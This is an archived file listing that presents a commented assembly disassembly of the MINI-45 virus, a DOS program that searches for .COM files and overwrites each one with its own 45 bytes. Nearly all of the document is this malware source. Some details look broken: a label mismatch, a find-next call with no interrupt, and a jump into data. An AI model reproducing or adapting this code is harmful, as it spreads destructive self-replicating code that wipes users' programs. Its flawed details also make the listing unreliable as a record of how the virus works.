home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MINI-45.ASM < prev    next >
Assembly Source File  |  1991-05-30  |  2KB  |  50 lines

  1. ;***************************************************************
  2. ;             DISASSEMBLY of the MINI-45 VIRUS
  3. ;***************************************************************
  4. ;         FIND .COM FILE TO INFECT
  5. ;***************************************************************
  6.      MOV DX, 127h          ;filehandle search criteria-27bytes
  7.                            ;away from beg. of file
  8.      MOV AH, 4Eh           ;setup for Dos function-find file
  9.      INT 21h               ;search for first file match
  10.      JB  FILESPEC          ;jump below and return
  11. ;****************************************************************
  12. ;         OPEN FILE
  13. ;****************************************************************
  14. FIRST_FILE:
  15.      MOV DX, 009Eh         ;pointer to asciiz file spec
  16.      MOV AX, 3D02h         ;moving 3d into ah=call dos to open file
  17.                            ;moving 02 into al=we want read\write
  18.                            ;access
  19.      INT 21h               ;call dos function and open file.
  20.                            ;file handle found is put in ax register
  21.      JB  NEXT_MATCH        ;search for next match
  22. ;****************************************************************
  23. ;        WRITE VIRUS CODE TO FILE
  24. ;****************************************************************
  25.      XCHG AX,BX            ;put retrieved file handle from 3d open
  26.                            ;call into bx so it can be used for 
  27.                            ;write function.
  28.      MOV DX, 0100h         ;point to buffer of data to write, i.e.
  29.                            ;to myself
  30.      MOV CX, 002Dh         ;#of bytes to write. 45d bytes
  31.      MOV AH, 40h           ;setup write to file dos function
  32.      INT 21h               ;write to file indicated in bx
  33. ;******************************************************************
  34. ;        CLOSE FILE
  35. ;******************************************************************
  36.      MOV AH, 3Eh           ;setup for dos function to close file
  37.      INT 21h               ;close file
  38. ;******************************************************************
  39. ;       FIND NEXT FILE MATCH
  40. ;******************************************************************
  41. NEXT MATCH:
  42.      MOV AH, 4Fh           ;search for next file match
  43.      JMP FIRST_FILE        ;return above
  44. ;******************************************************************
  45. FILESPEC:
  46.      db '*.com'
  47.      db 00
  48.  
  49.